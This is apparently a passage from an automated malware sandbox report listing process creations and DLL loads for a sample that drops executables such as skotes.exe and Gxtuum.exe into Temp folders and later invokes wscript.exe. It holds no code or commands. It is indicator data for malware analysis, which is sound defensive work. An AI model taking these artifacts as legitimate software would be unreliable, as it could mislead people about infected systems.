Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Process created: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe "C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe"
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Process created: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe "C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe"
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Process created: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe "C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: mscorjit.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: mstask.dll
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: dui70.dll
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: duser.dll
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: chartv.dll
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: oleacc.dll
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll
